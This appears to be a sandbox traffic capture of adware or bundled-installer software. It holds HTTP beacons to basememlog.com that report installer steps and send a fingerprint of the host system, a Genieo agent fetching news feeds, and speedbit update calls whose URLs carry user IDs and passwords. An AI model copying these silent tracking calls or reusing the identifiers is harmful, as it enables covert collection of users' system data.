Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: CWl0/8IJOwEiyurT0ip2/7CWOdQtrYaS2sstWZITx0R9KhrTNzjWXW 7mBLbby7UC8wWsvWCmds=

x-amz-request-id: C59A51890FBE00BC

Date: Fri, 15 May 2015 23:02:56 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Sun, 10 May 2015 14:05:54 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3

GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: CWl0/8
IJOwEiyurT0ip2/7CWOdQtrYaS2sstWZITx0R9KhrTNzjWXW 7mBLbby7UC8wWsvWCmds=
..x-amz-request-id: C59A51890FBE00BC..Date: Fri, 15 May 2015 23:02:56 
GMT..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, 
must-revalidate..Last-Modified: Sun, 10 May 2015 14:05:54 GMT..ETag: "
28d6814f309ea289f847c69cf91194c6"..Content-Type: image/gif..Content-Le
ngth: 35..Server: AmazonS3..GIF89a.............,...........D..;
....

GET /utility.gif?report=fdata&f=1&c=000171&i=200&n=init_end_funnel_step_name&rnd=1431730975 HTTP/1.1

Host: errors.basememlog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: TbWQdImVenbuigAfkRGJDhtPtQv38p957bmS9JCWXChpO MkHeFHeHrU6Z6qq4epTAz19uZM354=

x-amz-request-id: 08C1E5CE7C61AD1F

Date: Fri, 15 May 2015 23:02:56 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Sun, 10 May 2015 14:05:57 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000171&i=300&n=deploy_start_funnel_step_name&rnd=1431730975 HTTP/1.1

Host: errors.basememlog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: av47mbgDFCwzofUr8Y1MScKBeGofaBMLtyZeci4/nGWzolHJsJ1yzc f98df2D6L93f6ox1fj7Q=

x-amz-request-id: 71C70A05D6E4B499

Date: Fri, 15 May 2015 23:02:56 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Sun, 10 May 2015 14:05:57 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3

GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: av47mb
gDFCwzofUr8Y1MScKBeGofaBMLtyZeci4/nGWzolHJsJ1yzc f98df2D6L93f6ox1fj7Q=
..x-amz-request-id: 71C70A05D6E4B499..Date: Fri, 15 May 2015 23:02:56 
GMT..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, 
must-revalidate..Last-Modified: Sun, 10 May 2015 14:05:57 GMT..ETag: "
28d6814f309ea289f847c69cf91194c6"..Content-Type: image/gif..Content-Le
ngth: 35..Server: AmazonS3..GIF89a.............,...........D..;
....

GET /utility.gif?report=fdata&f=1&c=000171&i=400&n=deploy_verifier_start_funnel_step_name&rnd=1431730976 HTTP/1.1

Host: errors.basememlog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: iKazXAIJFOMGrjA Xm7/tKrJHNMSElyEqll2rdd1KmOLT3OBFdNO2RqNYoiRWWZCSmyRNB/WKFI=

x-amz-request-id: 9B164061A91E0366

Date: Fri, 15 May 2015 23:02:57 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Sun, 10 May 2015 14:05:57 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3

GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: iKazXA
IJFOMGrjA Xm7/tKrJHNMSElyEqll2rdd1KmOLT3OBFdNO2RqNYoiRWWZCSmyRNB/WKFI=
..x-amz-request-id: 9B164061A91E0366..Date: Fri, 15 May 2015 23:02:57 
GMT..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, 
must-revalidate..Last-Modified: Sun, 10 May 2015 14:05:57 GMT..ETag: "
28d6814f309ea289f847c69cf91194c6"..Content-Type: image/gif..Content-Le
ngth: 35..Server: AmazonS3..GIF89a.............,...........D..;
....

GET /utility.gif?report=fdata&f=1&c=000171&i=500&n=deploy_notification_start_funnel_step_name&rnd=1431730977 HTTP/1.1

Host: errors.basememlog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: Ep5JTlBGE6P6cjZ9ISC9zowNFQn2eaDyCcWmQeAM3b1Lh7Pah vaJmgUDOSkJ7VQmqzNq9s6Cs0=

x-amz-request-id: C0C188E8ECA909AB

Date: Fri, 15 May 2015 23:02:58 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Sun, 10 May 2015 14:05:57 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000171&i=600&n=deploy_omaha_start_funnel_step_name&rnd=1431730977 HTTP/1.1

Host: errors.basememlog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: FUbrQU0KnNIwOoBaB3FlHoYC3HCUfSU4MzdQg2M1Wt0kbhhHmnYO/6jFhexTuI99fTAkXMoMiEw=

x-amz-request-id: 80768736E426516D

Date: Fri, 15 May 2015 23:02:58 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Sun, 10 May 2015 14:05:57 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000171&i=700&n=deploy_ch_start_funnel_step_name&rnd=1431730977 HTTP/1.1

Host: errors.basememlog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: yD5p2no721voUedkBRaEXrwN BwGuQ7VDc3YRLwY6lFp0owOQjIgHgxCxYjeUJ2kd2W2sHwRcrU=

x-amz-request-id: 58CDAF2C03E3DC6A

Date: Fri, 15 May 2015 23:02:58 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Sun, 10 May 2015 14:05:57 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000171&i=800&n=deploy_nova_start_funnel_step_name&rnd=1431730977 HTTP/1.1

Host: errors.basememlog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: /FcyAnsJciMdEzVYU5WIDmYyFaL7Lsw IxBdQ0RbC1SADlYVv5opBZOTtd/aIM9S6QM5o/prEHw=

x-amz-request-id: 23F601C285DBA953

Date: Fri, 15 May 2015 23:02:58 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Sun, 10 May 2015 14:05:57 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000171&i=900&n=deploy_ff_start_funnel_step_name&rnd=1431730977 HTTP/1.1

Host: errors.basememlog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: nSh0dc6GDyQUBIW93lfYhhJQkvyqFAxb5u8Q9LP86Nv5TQHcFHrm36K9yukeoDfNWNTWwjEdNuA=

x-amz-request-id: EB4537BD96ED2B60

Date: Fri, 15 May 2015 23:02:58 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Sun, 10 May 2015 14:05:57 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3

GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: nSh0dc
6GDyQUBIW93lfYhhJQkvyqFAxb5u8Q9LP86Nv5TQHcFHrm36K9yukeoDfNWNTWwjEdNuA=
..x-amz-request-id: EB4537BD96ED2B60..Date: Fri, 15 May 2015 23:02:58 
GMT..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, 
must-revalidate..Last-Modified: Sun, 10 May 2015 14:05:57 GMT..ETag: "
28d6814f309ea289f847c69cf91194c6"..Content-Type: image/gif..Content-Le
ngth: 35..Server: AmazonS3..GIF89a.............,...........D..;
....

GET /utility.gif?report=fdata&f=1&c=000171&i=950&n=deploy_nova_ie_start_funnel_step_name&rnd=1431730980 HTTP/1.1

Host: errors.basememlog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: 85MxcjU4QVjPpAqiiIj0HoQ04n8qUA VKbsw732qrF1WvMSIUcAzVPe6qkwPga6yXtbN6I9tq6U=

x-amz-request-id: A89991CEABBA769E

Date: Fri, 15 May 2015 23:03:01 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Sun, 10 May 2015 14:05:57 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000171&i=1000&n=deploy_ie_start_funnel_step_name&rnd=1431730980 HTTP/1.1

Host: errors.basememlog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: 9rz6xZ0qP1JorUye62/mBH0TY6cpucdG87XYZ87VDYIE82BE2QiaFZ/UtTcwoKI5pax0NMRVIQY=

x-amz-request-id: 4B100171DFB7C8F8

Date: Fri, 15 May 2015 23:03:01 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Sun, 10 May 2015 14:05:57 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000171&i=1100&n=deploy_updater_start_funnel_step_name&rnd=1431730980 HTTP/1.1

Host: errors.basememlog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: qGsS8hQkMahJb0oeQqJtHcakkShwa95BUlTLeTzEXyYhn2SsT1ymSb Q3ghskNSCYL051U5IpZA=

x-amz-request-id: C96F5CAC159C4130

Date: Fri, 15 May 2015 23:03:01 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Sun, 10 May 2015 14:05:57 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000171&i=1200&n=deploy_watchdog_start_funnel_step_name&rnd=1431730982 HTTP/1.1

Host: errors.basememlog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: dVdG2VPdAV6Brz UYVl3Ve9uxSCKI8bjtjKGTIAsOXUeCg6hUOpKenVXXx0FsbiueOtuIhtBu5M=

x-amz-request-id: 66646AAF94DF72B4

Date: Fri, 15 May 2015 23:03:03 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Sun, 10 May 2015 14:05:57 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000171&i=10000&n=deploy_end_funnel_step_name&rnd=1431730982 HTTP/1.1

Host: errors.basememlog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: 2DmbiJ6sybQwPymBFaPoNeHzowok ZB/xf7 xdhJnQZwCTyxeevYwtr7QDtB44Hp20/MLNnBYdg=

x-amz-request-id: FCFE864DE63DA05B

Date: Fri, 15 May 2015 23:03:04 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Sun, 10 May 2015 14:05:57 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3

GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: 2DmbiJ
6sybQwPymBFaPoNeHzowok ZB/xf7 xdhJnQZwCTyxeevYwtr7QDtB44Hp20/MLNnBYdg=
..x-amz-request-id: FCFE864DE63DA05B..Date: Fri, 15 May 2015 23:03:04 
GMT..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, 
must-revalidate..Last-Modified: Sun, 10 May 2015 14:05:57 GMT..ETag: "
28d6814f309ea289f847c69cf91194c6"..Content-Type: image/gif..Content-Le
ngth: 35..Server: AmazonS3..GIF89a.............,...........D..;..

GET /services/xml/rss/nyt/GlobalHome.xml HTTP/1.1

If-Modified-Since: Fri, 15 May 2015 21:41:29 UTC

If-None-Match: 1431726089000

Accept-Encoding: gzip,deflate

Host: VVV.nytimes.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)

Cookie: RMID=007f01013f4655567b99000b

Cookie2: $Version=1


HTTP/1.1 301 Moved Permanently

Date: Fri, 15 May 2015 23:04:58 GMT

Server: Apache

X-API-Version: 4

Location: hXXp://rss.nytimes.com/services/xml/rss/nyt/InternationalHome.xml

Content-Length: 273

Connection: close

Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html>&
lt;head>.<title>301 Moved Permanently</title>.</head
><body>.<h1>Moved Permanently</h1>.<p>The d
ocument has moved <a href="hXXp://rss.nytimes.com/services/xml/rss/
nyt/InternationalHome.xml">here</a>.</p>.</body>&
lt;/html>...

GET /services/xml/rss/nyt/InternationalHome.xml HTTP/1.1

Accept-Encoding: gzip,deflate

Host: rss.nytimes.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)

Cookie: RMID=007f01013f4655567b99000b

Cookie2: $Version=1


HTTP/1.1 200 OK

Content-Length: 9054

Content-Encoding: gzip

Date: Fri, 15 May 2015 23:04:58 GMT

Content-Type: text/xml;charset=UTF-8

Server: FeedsPortal

Set-Cookie: MF2=19hhj9gxbdklf; expires=Sun, 14-May-17 23:04:58 GMT; path=/

ETag: 1431726089000

Last-Modified: Fri, 15 May 2015 21:41:29 GMT

Connection: close
...........].r.:....}...j...-...8..e.V....d27. ......AZQj..C..V.T.....
'[email protected]&...nv.......?.......E..Mk.~CX...G.wo.nO..7.>:..,.N.
&}.R.Nb..M.....2xC.......4>h6.)..I.C&.]...M....x.....?....F#y.x.wk.
O....xs]$.fk...io476,....(._.H..Z.;.....n..v.._.......8K.u.(...m......
xU$.I..Y.<N....&..>.....Bl...s. .s.,`!.R...^..,b....#...z.....2.
@.u.`m....u{....i.....mp...^{`..y.H.<p.n.4P7._6.Q........E....5....
.d.pM{y..q.]u.....U......;..|K.0J.D.5G........<...b:...........i..9
.I.........?.....M..........*.4.e....../*...".$|..G.....[...g....g...[
T.tD..hr....0..'4eG..o...%...o.....6.....a...4..q..o._=..0M..m0..9..R.
q[C. L=Jh.sW.=2.jQ6C..&4.S F.'0.O....-{=.F.Ml.F.5...)....h.&<....X$
..dY"[email protected]...."..,......?...,...l,I..r".< mr2.I&
gt;j....".........>.(|?N..............XS6.v.....k..v.A.....O. ..a.[
.v.n.?.....bw.a.....il'.......LQ..EmG..>F..'...S..>...WM.Zh...x.
....K.........&."...B.&.....,...T..XD./.....#..F.....Q.>...y#.CI...
.2)9%\.T...X$. ...."...?...x8"c..>Lh071|..K...;K....p}..o.@$.t.7..&
>.(p..7.........?..>...].2.Iu .R%.Ioowg{.....jf..]{.W....%n....k
.~.....1^ D.a......k......=7.j......xM..|ACl.6..lB7.9j....L......l....
..m. ..w?...Zk.0./.5..1.......l.S...q...L..t......).G..."..b....M..x..
.4bb.HO..f...5{w..o..vc...)x.PP.x...5...z<...hJB.n[;z..{,P/....h.V.
`c.;.1...h...R....nmH...~......M....=. ..=9:i.....ur....s...{W.eg...W.
~9\O..6].G..3`..0........f.y..Z.H.L=(V.l..H.*....#.(....H[.C....k.....
..[../..wp<..[...e..2..(..t/..H....1...}l..d;...L......E._Ocz. <<< skipped >>>

GET /online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=74e69be7-98f2-4545-86a7-90384c52884d&Password=R73ubJdk&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,d37f2acf-36b1-44a7-82e5-18cd40d4d9e7,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1431730963&SBPIDS=1&KA=1 HTTP/1.1

User-Agent: CoreWinInet

Host: online.speedbit.com

Cache-Control: no-cache

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Content-Length: 44

Content-Type: text/html; charset=utf-8

Server: Microsoft-IIS/7.5

X-AspNet-Version: 2.0.50727

Set-Cookie: ASP.NET_SessionId=m5vky155atbl1jmc5g5duujt; path=/; HttpOnly

X-Powered-By: ASP.NET

Date: Fri, 15 May 2015 23:02:44 GMT
<RESULT>.<LASTERROR>0</LASTERROR>.</RESULT>.HT
TP/1.1 200 OK..Cache-Control: private..Content-Length: 44..Content-Typ
e: text/html; charset=utf-8..Server: Microsoft-IIS/7.5..X-AspNet-Versi
on: 2.0.50727..Set-Cookie: ASP.NET_SessionId=m5vky155atbl1jmc5g5duujt;
 path=/; HttpOnly..X-Powered-By: ASP.NET..Date: Fri, 15 May 2015 23:02
:44 GMT..<RESULT>.<LASTERROR>0</LASTERROR>.</RESU
LT>.....


GET /online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=09d19378-3ffd-4726-b60b-7f15db982dc3&Password=PljGPm9d&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,d37f2acf-36b1-44a7-82e5-18cd40d4d9e7,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=0&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&ElapsedTime=1431730965&SBPIDS=1&KA=1 HTTP/1.1

User-Agent: CoreWinInet

Host: online.speedbit.com

Cache-Control: no-cache

Connection: Keep-Alive

Cookie: ASP.NET_SessionId=m5vky155atbl1jmc5g5duujt


HTTP/1.1 200 OK

Cache-Control: private

Content-Length: 44

Content-Type: text/html; charset=utf-8

Server: Microsoft-IIS/7.5

X-AspNet-Version: 2.0.50727

X-Powered-By: ASP.NET

Date: Fri, 15 May 2015 23:02:46 GMT
<RESULT>.<LASTERROR>0</LASTERROR>.</RESULT>.HT
TP/1.1 200 OK..Cache-Control: private..Content-Length: 44..Content-Typ
e: text/html; charset=utf-8..Server: Microsoft-IIS/7.5..X-AspNet-Versi
on: 2.0.50727..X-Powered-By: ASP.NET..Date: Fri, 15 May 2015 23:02:46 
GMT..<RESULT>.<LASTERROR>0</LASTERROR>.</RESULT&g
t;...

HEAD /?partner=rss&emc=rss HTTP/1.1

Accept-Encoding: gzip,deflate

Host: international.nytimes.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)

Cookie: RMID=007f01013f4655567b99000b

Cookie2: $Version=1


HTTP/1.1 200 OK

Server: Apache

Vary: Host

X-App-Name: homepage

Cache-Control: no-cache

Content-Type: text/html; charset=utf-8

Date: Fri, 15 May 2015 23:04:59 GMT

X-Varnish: 763520013 763422626

Age: 1140

Via: 1.1 varnish

X-Cache: HIT

X-API-Version: 5-5

X-PageType: homepage

Connection: close

GET /installer.gif?action=started&app=70121&appver=0&ver=1_36_01_22&version_date=15-05-15&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=7D10842229D84798A10F86FEE6A717A0PI&srcid=000171&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNUZ6dHNtdHljMCxkMzdmMmFjZi0zNmIxLTQ0YTctODJlNS0xOGNkNDBkNGQ5ZTcsIiwidW5xIjoiZDM3ZjJhY2YtMzZiMS00NGE3LTgyZTUtMThjZDQwZDRkOWU3In19&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_36&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147475456&asw4=2048&crtnm=na&mdat=&procstarttime=1431730972&procruntime=2&rnd=1431730974 HTTP/1.1

Host: stats.basememlog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: gBlw0yNzi6ABT3IH/XaJ2PuZJtySnqN197m8EKkR244daoD6HVtjt05uEX8PaBH/

x-amz-request-id: 5209F5B11F9E9B0D

Date: Fri, 15 May 2015 23:02:56 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Sun, 10 May 2015 14:01:52 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: gBlw0y
Nzi6ABT3IH/XaJ2PuZJtySnqN197m8EKkR244daoD6HVtjt05uEX8PaBH/..x-amz-requ
est-id: 5209F5B11F9E9B0D..Date: Fri, 15 May 2015 23:02:56 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Sun, 10 May 2015 14:01:52 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;....


GET /installer.gif?action=finished&LFMR=_ffDll_0&app=70121&appver=&ver=1_36_01_22&version_date=15-05-15&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=7D10842229D84798A10F86FEE6A717A0PI&srcid=000171&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNUZ6dHNtdHljMCxkMzdmMmFjZi0zNmIxLTQ0YTctODJlNS0xOGNkNDBkNGQ5ZTcsIiwidW5xIjoiZDM3ZjJhY2YtMzZiMS00NGE3LTgyZTUtMThjZDQwZDRkOWU3In19&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_36&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147475456&asw4=2048&crtnm=na&procstarttime=1431730972&procruntime=13&rnd=1431730985 HTTP/1.1

Host: stats.basememlog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: kFaW7UJi4GJ60BBXMiedGtynANPkwjJBkwVN3EJG3 WO4C1a1lmiCLrG xNEO5rp

x-amz-request-id: A8139023EB9A32E3

Date: Fri, 15 May 2015 23:03:06 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Sun, 10 May 2015 14:01:52 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /apps.gif?action=install&app=70121&appver=&ver=1_36_01_22&version_date=15-05-15&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=7D10842229D84798A10F86FEE6A717A0PI&srcid=000171&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNUZ6dHNtdHljMCxkMzdmMmFjZi0zNmIxLTQ0YTctODJlNS0xOGNkNDBkNGQ5ZTcsIiwidW5xIjoiZDM3ZjJhY2YtMzZiMS00NGE3LTgyZTUtMThjZDQwZDRkOWU3In19&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&installtime=1431730972&lifetime=0&silent=1&crtnm=na&procstarttime=1431730972&procruntime=13&rnd=1431730985 HTTP/1.1

Host: stats.basememlog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: bYPfbwy/F2bK0hJvQhW3lrKyYWOgUkq9QGHwa/doB5zLjW7plT OtB2vUI8UNcsL

x-amz-request-id: 3D8306B9E22F9611

Date: Fri, 15 May 2015 23:03:07 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Sun, 10 May 2015 14:01:45 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3

GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: bYPfbw
y/F2bK0hJvQhW3lrKyYWOgUkq9QGHwa/doB5zLjW7plT OtB2vUI8UNcsL..x-amz-requ
est-id: 3D8306B9E22F9611..Date: Fri, 15 May 2015 23:03:07 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Sun, 10 May 2015 14:01:45 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;..

GET /robots.txt HTTP/1.1

Accept-Encoding: gzip,deflate

Host: sports.yahoo.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Accept-Ranges: bytes

Cache-Control: max-age=180,public

Content-Encoding: gzip

Content-Type: text/plain; charset=utf-8

Date: Fri, 15 May 2015 23:05:04 GMT

Etag: "YM:1:d5b4b517-a870-40f5-b43b-96c0f169d2e60004dc50a9d356a4"

Expires: Fri, 15 May 2015 23:05:15 GMT

Last-Modified: Thu, 09 May 2013 22:35:11 GMT

Server: ATS

Via: http/1.1 yts260.global.media.ir2.yahoo.com (ApacheTrafficServer [cMsSfW]), HTTP/1.1 web15.use45.mobstor.bf1.yahoo.com UserFiberFramework/1.0, http/1.1 l9.ycs.ams.yahoo.com (ApacheTrafficServer [cHs f ]), http/1.1 r02.ycpi.dea.yahoo.net (ApacheTrafficServer [cSsNfU])

x-ysws-request-id: fafcd9a4-20e7-4ea0-9c7a-ede246b6ba13

x-ysws-visited-replicas: gops.use45.mobstor.vip.bf1.yahoo.com

Age: 369

Content-Length: 123

Vary: Accept-Encoding,X-Ssl

Connection: keep-alive
..........T.;.. .E..UX.....AH-..(.#.....He....q.3.....Z.c.tY..v0.....g
...X...}.3...Z.....(.,p..l..D.S...s..^........l.,........


GET /top/rss;_ylt=AlwdHRvtXpvepkk.PZVQ41o5nYcB HTTP/1.1

Accept-Encoding: gzip,deflate

Host: sports.yahoo.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 301 Moved Permanently

Date: Fri, 15 May 2015 23:05:04 GMT

P3P: policyref="hXXp://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"

Location: hXXp://sports.yahoo.com/top/rss

Content-Encoding: gzip

Content-Length: 1452

Content-Type: text/html

Cache-Control: max-age=0, private

Expires: -1

Vary: Accept-Encoding,X-Ssl

Age: 0

Via: http/1.1 yts260.global.media.ir2.yahoo.com (ApacheTrafficServer [cMsSf ]), http/1.1 r02.ycpi.dea.yahoo.net (ApacheTrafficServer [cMsSf ])

Server: ATS

Connection: keep-alive
...........Wmo.6..._qU.u "...&.e.C....!h3..HI.E......d..;RR"....H...x/
.=...=)ea;......../ ...s...7Wo.......g.!...BX[.RB..}...Ro..G.N/....6.m
....=[g5..:.......R>.....>.. [email protected]....%.......\...
V...i..$._....T..L....=-..........Z....?....FT.M........\..qd..Ky[.A{|
....&I\.......U[;...fO.;.....jxY..<.S..n...z..t.T.,y...C..v..ri.l..
.z...O..>:.`..v.K[.....5..#....\...4Q.`..%.TU.5.N.MC.v.F.Mm.D=...C.
..f...Im*XeG.%..m......EQ,..vq_...&g/|iy...f..a=.....>?{z\1....ur..
